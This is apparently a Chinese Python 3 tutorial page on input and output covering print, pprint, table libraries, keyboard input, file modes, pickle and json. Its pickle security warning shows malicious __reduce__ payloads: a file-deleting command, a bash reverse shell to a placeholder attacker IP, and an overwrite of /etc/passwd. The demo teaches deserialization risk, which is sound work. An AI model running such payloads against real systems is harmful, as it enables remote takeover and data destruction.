当前位置:首页>python>【python3基础教程】输入与输出

【python3基础教程】输入与输出

  • 2026-10-11 13:07:43
【python3基础教程】输入与输出

Python两种输出值的方式: 表达式语句和 print() 函数。

第三种方式是使用文件对象的 write() 方法,

标准输出文件可以用 sys.stdout 引用。

日志输出:loggong或自定义日志

1、输出格式美化

python输出值的方式:

  • 表达式语句

  • print()函数

  • 使用文件对象的write()方法

  • 标准输出文件用sys.stdout引用

  • str.format()函数可以格式化输出值

  • 更推荐f-string方法来格式化输出

  • 字符串转换str()或repr(),更多方法看第七章字符串

1.1、print()函数

  1. *objects:

    • 用于指定要打印的对象,可以是多个对象,用逗号分隔。这些对象会被转换为字符串并输出。

    • 示例:

      print("Hello", "World", 123)
  2. sep:

    • 默认值为 ' '(空格),用于指定打印多个对象时的分隔符。

    • 示例:

      print("Hello", "World", sep="-")  # 输出:Hello-World
  3. end:

    • 默认值为 '\n'(换行符),用于指定打印结束后添加的字符。

    • 示例:

      print("Hello", end=" ")  # 输出:Helloprint("World")           # 输出:World(在同一行)print()# 空行
  4. file:

    • 默认值为 sys.stdout,用于指定输出流。可以是文件对象或其他支持写入的流。

    • 示例:

      with open("output.txt", "w") as f:print("Hello, World!", file=f)
  5. flush:主要作用是确保输出立即写入目标流

    • 默认值为 False,用于指定是否立即刷新输出流。

    • 示例:

      基本用法

      print("Hello, World!", flush=True)

      实时输出:在需要实时输出的场景中,flush=True 确保输出立即显示,而不是等待缓冲区填满。这对于显示进度条、实时日志等非常有用。

      import timefor i in range(10):# 搭配end和flush参数,实现进度条效果,只能在控制台上实现print(f"Progress: {i+1}/10", end="\r", flush=True)time.sleep(0.5)print()  # 换行

      调试:在调试时,flush=True 确保日志信息立即显示,帮助快速定位问题。

      import timefor i in range(10):print(f"Debug: Step {i+1}", flush=True)time.sleep(0.5)

      文件输出:在将输出重定向到文件时,flush=True 确保数据及时写入文件,避免因程序意外终止导致数据丢失。

      import syswith open("output.txt", "w") as f:original_stdout = sys.stdoutsys.stdout = f# 将标准输出重定向到文件print("This will be written to output.txt", flush=True)sys.stdout = original_stdout# 恢复标准输出

      多线程环境:在多线程环境中,flush=True 确保每个线程的输出立即显示,避免输出混乱。

      import threadingimport timedef print_with_flush():for i in range(5):print(f"Thread {threading.current_thread().name}: {i}", flush=True)time.sleep(0.5)threads = []for i in range(3):t = threading.Thread(target=print_with_flush, name=f"Thread-{i}")threads.append(t)t.start()for t in threads:t.join()
  6. f-string

    • 格式化字符串

      name = "Alice"age = 30print(f"Name: {name}, Age: {age}")

1.2、pprint()函数

pprint是python的一个模块,用于以更易读的方式格式化和打印复杂的数据结构(如字典、列表、元组)等。pprint模块中的pprint函数是其核心功能,它能够将嵌套的数据结构以更美观和易读的方式输出,特别是在调试和查看复杂数据时非常有用。

导入模块

from pprint import pprint
  1. indent:设置缩进宽度,默认为1

    data = {'name': 'Alice','age': 30,'hobbies': ['reading', 'traveling', 'cooking'],'address': {'street': '123 Main St','city': 'Anytown','state': 'CA','zip': '12345'    }}pprint(data, indent=4)
  2. width:设置每行的最大宽度,默认为80

    pprint(data, width=40)
  3. depth:设置嵌套的最大深度,默认None

    pprint(data, depth=3)
  4. compact:控制输出的紧凑性,默认为False,True为更紧凑

    pprint(data, compact=True)
  5. sort_dicts:控制字典键的排序,默认为True

    pprint(data, compact=False)

1.3、模块-prettytable

prettytable 是一个用于生成美观的 ASCII 表格的库,支持多种自定义选项,包括表头、表尾、对齐方式等。

pip install prettytable==3.10.0
from prettytable import PrettyTable#pip install prettytable==3.10.0# 创建一个 PrettyTable 对象table = PrettyTable()# 设置表头table.field_names = ["City name", "Area", "Population", "Annual Rainfall"]# 添加行table.add_row(["Adelaide", 1295, 1158259, 600.5])table.add_row(["Brisbane", 5905, 1857594, 1146.4])table.add_row(["Darwin", 112, 120900, 1714.7])# 设置列的对齐方式table.align["City name"] = "l"# 左对齐table.align["Area"] = "l"# 左对齐table.align["Population"] = "c"# 居中对齐table.align["Annual Rainfall"] = "l"# 左对齐# 打印表格print(table)

需要一个功能强大且支持自定义的表格打印库,prettytable 是一个很好的选择。

1.4、模块-tabulate

tabulate 是另一个用于美化打印表格的库,支持多种表格格式,如纯文本、HTML、Markdown 等。

pip install tabulate==0.9.0
from tabulate import tabulate# pip install tabulate==0.9.0# 定义数据data = [    ["Adelaide", 1295, 1158259, 600.5],    ["Brisbane", 5905, 1857594, 1146.4],    ["Darwin", 112, 120900, 1714.7]]# 定义表头headers = ["City name", "Area", "Population", "Annual Rainfall"]# 打印表格print(tabulate(data, headers, tablefmt="grid"))

需要一个简单易用且支持多种格式的表格打印库,tabulate 是一个不错的选择。

1.5、模块-json

json模块可以将python数据结构格式化为json字符串,输出非常清晰,适合嵌套结构

import jsondata = {'name': 'Alice','age': 30,'hobbies': ['reading', 'traveling', 'cooking'],'address': {'street': '123 Main St','city': 'Anytown','state': 'CA','zip': '12345'    }}# 使用 json.dumps() 打印格式化后的 JSONjson_string = json.dumps(data, indent=4)print(json_string)data = json.loads(json_string)print(data)

1.6、模块-yml

PyYAML 是一个用于处理 YAML 格式的模块,可以将 Python 数据结构格式化为 YAML 格式,输出非常美观。

pip install pyyaml
import yamldata = {'name': 'Alice','age': 30,'hobbies': ['reading', 'traveling', 'cooking'],'address': {'street': '123 Main St','city': 'Anytown','state': 'CA','zip': '12345'    }}# 使用 yaml.dump() 打印格式化后的 YAMLprint(yaml.dump(data, indent=4))# 输出结果age: 30address:city: Anytownstate: CAstreet: 123MainStzip: '12345'hobbies:-reading-traveling-cookingname: Alice

1.7、模块-textwrap

textwrap 模块用于格式化文本,特别是在处理长字符串时,可以自动换行和缩进。

import textwraptext = "This is a very long text that needs to be wrapped for better readability. It can be used to format paragraphs or any other long text."# 使用 textwrap.wrap() 格式化文本wrapped_text = textwrap.wrap(text, width=50)# 打印格式化后的文本print("\n".join(wrapped_text))# 输出结果This is averylongtextthatneedstobewrappedfor betterreadability. Itcanbeusedto formatparagraphs or any otherlongtext.

1.8、模块-rich

rich 是一个功能强大的模块,可以用于美化命令行输出,支持彩色文本、表格、树结构等。

pip install rich==13.7.0
from rich import printfrom rich.table import Table# 创建一个表格table = Table(title="User Information")# 添加列table.add_column("Name", style="cyan")table.add_column("Age", style="magenta")table.add_column("City", style="green")# 添加行table.add_row("Alice", "30", "New York")table.add_row("Bob", "25", "Los Angeles")table.add_row("Charlie", "35", "Chicago")# 打印表格print(table)# 输出结果┌─────────┬─────┬─────────────┐│Name│Age│City│├─────────┼─────┼─────────────┤│Alice│30│NewYork││Bob│25│LosAngeles││Charlie│35│Chicago│└─────────┴─────┴─────────────┘

2、读取键盘输入

2.1、input()函数

  • 功能:从标准输入(通常是键盘)读取一行文本

  • 语法:

    user_input = input(prompt)
  • 参数

    prompt:提示信息(可选),用于提示用户输入。

示例代码:

name = input("请输入您的名字: ")print(f"您好, {name}!")

2.2、sys.stdin模块

  • 功能:从标准输入读取数据,提供了更灵活的输入方式

  • 常用方法:

    • read():读取所有输入直到EOF。

    • readline():读取一行输入

示例代码:

read()方法读取多行输入,读取所有输入直到EOF。EOF是输入ctrl+D或 ctrl+Z

import sysdef main():print('Please input a number:')# 读入所有标准输入数据data = sys.stdin.read()# 拆分成行lines = data.splitlines()  # 按行分割# 输出读取到的每一行for line in lines:print(f"Line: {line}")if __name__ == "__main__":main()

readline()方法进行输入验证

import systry:while True:print('Please input a number:')# 读取一行输入并尝试转换为整数line = sys.stdin.readline().strip()if not line:breaktry:num = int(line)print(f"You entered the number: {num}")exceptValueError:print("Invalid input. Please enter a valid number.")except KeyboardInterrupt:print("\nProgram terminated by user.")
  • 程序会不断提示用户输入一个数字。

  • sys.stdin.readline().strip()读取用户输入并去掉行末的换行符。

  • 如果用户输入为空,程序会退出循环。

  • 尝试将用户输入转换为整数,如果转换成功则输出该数字;如果转换失败(即输入不是有效的数字),会捕获ValueError异常并提示用户重新输入。

  • 同样,用户可以通过按下Ctrl+C手动终止程序。

3、读写文件

3.1、open函数

open函数用于打开一个文件,并返回一个文件对象。文件对象提供了多种方法来读取和写入文件。

基本语法

file_object = open(file_path, mode='r', encoding=None)
  • file_path:文件路径,可以是相对路径或绝对路径

  • mode:文件打开模式,默认为r(只读模式)。常见的模式包括:

    • 'r':只读模式(默认)

    • 'w':写入模式,如果文件已存在则覆盖

    • 'x':独占写入模式,如果文件已存在则抛出错误

    • 'a':追加模式,写入内容会追加到文件末尾

    • 't':文本模式(默认)

    • 'b':二进制模式

    • '+':更新模式(读写)

  • encoding:指定文件的编码格式,如utf-8

示例:

# 打开文件进行读取file = open('example.txt', 'r', encoding='utf-8')content = file.read()print(content)file.close()  # 关闭文件

3.2、with open语句

with open是一种更现代、更安全的文件操作方式。它会自动管理文件的打开和关闭,即使在文件操作过程中发生异常,文件也会被正确关闭。

  • 自动管理文件:with open 会自动关闭文件,即使在文件操作过程中发生异常。

  • 代码更简洁:减少了文件关闭的代码,使代码更加简洁易读。

基本语法

with open(file_path, mode='r', encoding=None) as file_object:# 文件操作

示例代码:

# 使用 with open 读取文件with open('example.txt', 'r', encoding='utf-8') as file:content = file.read()print(content)# 使用 with open 写入文件with open('example.txt', 'w', encoding='utf-8') as file:file.write('Hello, World!')

3.3、文件操作方法

读取文件

  • read():读取整个文件内容为一个字符串。

  • readline():读取文件的一行。

  • readlines():读取文件的所有行,返回一个列表,每行是一个元素。

示例:

# 读取整个文件with open('example.txt', 'r', encoding='utf-8') as file:content = file.read()print(content)# 逐行读取文件with open('example.txt', 'r', encoding='utf-8') as file:for line in file:print(line.strip())  # 使用 strip() 去掉行尾的换行符

写入文件

  • write():写入字符串到文件。

  • writelines():写入一个字符串列表到文件。

示例:

# 写入文件with open('example.txt', 'w', encoding='utf-8') as file:file.write('Hello, World!\n')file.write('This is another line.\n')# 写入多行lines = ['Line 1\n', 'Line 2\n', 'Line 3\n']with open('example.txt', 'w', encoding='utf-8') as file:file.writelines(lines)

3.4、文件指针操作

  • tell():返回文件指针的当前位置。

  • seek(offset, whence):移动文件指针到指定位置。

    • 0(默认):从文件开头开始计算偏移量

    • 1:从当前位置开始计算偏移量

    • 2:从文件末尾开始计算偏移量

    • offset:偏移量

    • whence:可选值:

  • flush():刷新文件缓冲区,将缓冲区的内容写入文件

  • close():关闭文件,释放系统资源

示例:

with open('example.txt', 'r', encoding='utf-8') as file:print(file.tell())  # 输出文件指针的当前位置file.seek(10)  # 移动文件指针到第10个字符print(file.read(5))  # 从当前位置读取5个字符fp = open('example.txt', 'w', encoding='utf-8')fp.write('Hello, World!')fp.flush()  # 刷新缓冲区fp.close()  # 关闭文件

3.5、总结

  • open 函数:用于打开文件,返回文件对象。

  • with open 语句:更安全、更简洁的文件操作方式,自动管理文件的打开和关闭。

  • 文件操作方法:包括读取(read、readline、readlines)和写入(write、writelines)。

  • 文件指针操作:使用 tell 和 seek 方法控制文件指针位置。

模式描述
r以只读方式打开文件。文件的指针将会放在文件的开头。这是默认模式。
rb以二进制格式打开一个文件用于只读。文件指针将会放在文件的开头。
r+打开一个文件用于读写。文件指针将会放在文件的开头。
rb+以二进制格式打开一个文件用于读写。文件指针将会放在文件的开头。
w打开一个文件只用于写入。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。
wb以二进制格式打开一个文件只用于写入。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。
w+打开一个文件用于读写。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。
wb+以二进制格式打开一个文件用于读写。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。
a打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。也就是说,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入。
ab以二进制格式打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。也就是说,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入。
a+打开一个文件用于读写。如果该文件已存在,文件指针将会放在文件的结尾。文件打开时会是追加模式。如果该文件不存在,创建新文件用于读写。
ab+以二进制格式打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。如果该文件不存在,创建新文件用于读写。
模式rr+ww+aa+
读++++
写+++++
创建++++
覆盖++
指针在开始++++
指针在结尾++

4、pickle模块

pickle是python中的一个标准模块,实现了基本的数据序列和反序列化,用于将python对象序列化为字节流,以便于存储到文件、在网络上传输或者在不同python程序之间共享数据。

基本接口:

pickle.dump(obj,file[,protocol])pickle.load(obj,file[,protocol])pickle.dumps(obj,file[,protocol])pickle.loads(obj,file[,protocol])

有了pickle对象,就能对file以读取的形式打开:

x = pickle.load(file)

注解:从file中读取一个字符串,并将它重构为原来的python对象

file:类文件对象,有read()和readline()接口。

参数讲解

对象序列化

  • 它可以将各种python对象,如列表、字典、自定义类的实例等,转化为字节流。

    import pickledata = [    {"name": "Alice", "age": 25},{"name": "Bob", "age": 30}]serialized_data = pickle.dumps(data)

    这里的pickle.dumps函数将data这个python对象序列化为字节流,存储在serialized_data变量中

对象反序列化

  • 可以将之前序列化得到的字节流再转换回原来的python对象

    deserialized_data = pickle.loads(serialized_data)

    这里的pickle.loads函数将字节流serialized_data反序列化为原来的python对象,deserialized_data和之前的data是相同的内容

文件操作

  • 序列化文件

    with open("data.pkl","wb") as fp:pickle.dump(data,fp)

    这里pickle.dump函数是将data对象序列化后写入data.pkl的文件中

  • 从文件反序列化

    with open("data.pkl","rb") as fp:loaded_data = pickle.load(fp)

    这里pickle.load函数从data.pkl文件中读取字节流并反序列化为python对象

适用场景

  • python对象持久化

    当需要保存python程序中的复杂对象(如自定义的数据结构、包含多种数据类型和嵌套关系的对象)到磁盘上,以便在后续的程序运行中恢复时,pickle非常有用。例如,保存一个训练好的机器学习模型(如果模型是用python原生对象表示的),可以使用pickle将其序列化到磁盘,之后再加载进行预测等操作。

  • 进程间通信

    在同一台机器上的不同python进程之间传递复杂的python对象时,可以使用pickle将对象序列化后通过管道、套接等方式传输,接收方再反序列化得到原始对象。不过要注意安全性问题,因为pickle可以执行反序列化时的代码。

局限性

  • pickle产生的字节流是Python特定的,不能直接被其他语言读取,不适合跨语言的数据交换。 

  • 由于pickle可以序列化几乎任何Python对象,存在一定的安全风险,如果从不可信的来源反序列化pickle数据,可能会导致代码执行任意的Python代码。

数据格式

  • pickle模块处理的是字节流,不是人类可读的格式,主要用于Python内部对象的序列化和反序列化。

对象支持范围

  • pickle可以处理几乎所有的Python对象,包括自定义类实例、函数等。

跨语言性

  • pickle是Python特定的,只能在Python环境中使用。

安全性

  • pickle存在安全风险,因为它可以执行反序列化对象中的代码。

⚠️ 安全警告pickle恶意代码演示:

1、执行系统命令

import pickleimport osclass Exploit:def __reduce__(self):# 执行系统命令(如删除文件)return (os.system, ('rm -f /tmp/important_file', ))payload = pickle.dumps(Exploit())# 受害者反序列化时触发pickle.loads(payload)

原理:

  • __reduce__方法在反序列化时被调用,返回可执行对象和参数

  • os.system执行任意系统命令

2、生成反向Shell

import pickleimport socketimport subprocessclass ReverseShell:def __reduce__(self):# 连接到攻击者IP:PORTreturn (subprocess.Popen,                 (('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1', ),                 {'shell': True}))payload = pickle.dumps(ReverseShell())# 替换ATTACKER_IP和ATTACKER_PORT后发送给受害者

效果:

  • 受害者执行后与攻击者建立反向连接

  • 攻击者获得受害者Shell控制权

3、文件覆盖攻击

import pickleclass FileOverwrite:def __reduce__(self):# 覆盖/etc/passwd(示例,实际需root权限)return (open, ('/etc/passwd', 'wb'))# 或写入恶意内容# return (open('/etc/passwd', 'wb').write, (b'malicious_content',))payload = pickle.dumps(FileOverwrite())

风险:

  • 破坏系统关键文件导致服务瘫痪

  • 植入后门或恶意脚本

5、json模块

json(JavaScript Object Notation)模块主要用于在python中处理JSON数据。它提供了dumps和loads方法

dumps()方法用于将python对象序列化转换为json格式的字符串。例如:

import jsondata = {'name': 'John', 'age': 30}json_string = json.dumps(data,ensure_ascii=False,indent=4)print(json_string)
  • ensure_ascii=False:解决json中的中文编码

  • indent=4:输出有4个缩进

  • separators=(',',':'):去掉键值对之间的空格

  • sort_keys=True:对键值对进行排序

loads()方法用于将json格式的字符串转换回python对象。例如:

json_string = '{"name": "John", "age": 30}'data = json.loads(json_string)print(data)

dump()方法用于将python对象序列化为JSON格式的字符串,并直接写入文件

# 写入 JSON 文件,有中文需要指定编码with open('data.json', 'w', encoding="utf-8") as fp:json.dump(data, fp, indent=4, ensure_ascii=False, sort_keys=True)

load()方法用于从文件中读取JSON格式的字符串,并将其转换为python对象

# 读取 JSON 文件,有中文需要指定编码with open('data.json', 'r', encoding="utf-8") as fp:loaded_data = json.load(fp)

适用场景

  • 当需要与web服务进行数据交互时,因为JSON是一种在网络中广泛使用的数据格式,很多Web API返回的数据都是JSON格式。

  • 在不同语言编写的程序之间交换数据,由于JSON格式在多种编程语言中都有很好的支持,所以很适合用于跨语言的数据传输

局限性

  • 只能处理Python中的基本数据类型(如字典、列表、字符串、数字、布尔值等),对于自定义的类或复杂的Python对象(如函数等)无法直接进行序列化和反序列化。

数据格式

  • json模块处理的是JSON格式的文本字符串,是一种人类可读的格式,适合在不同系统间交换数据。

对象支持范围

  • json只能处理基本数据类型及其组合

跨语言性

  • json是跨语言的,很多编程语言都有对JSON格式的支持。

安全性

  • json相对安全,因为它只能处理基本类型。

最新文章

随机文章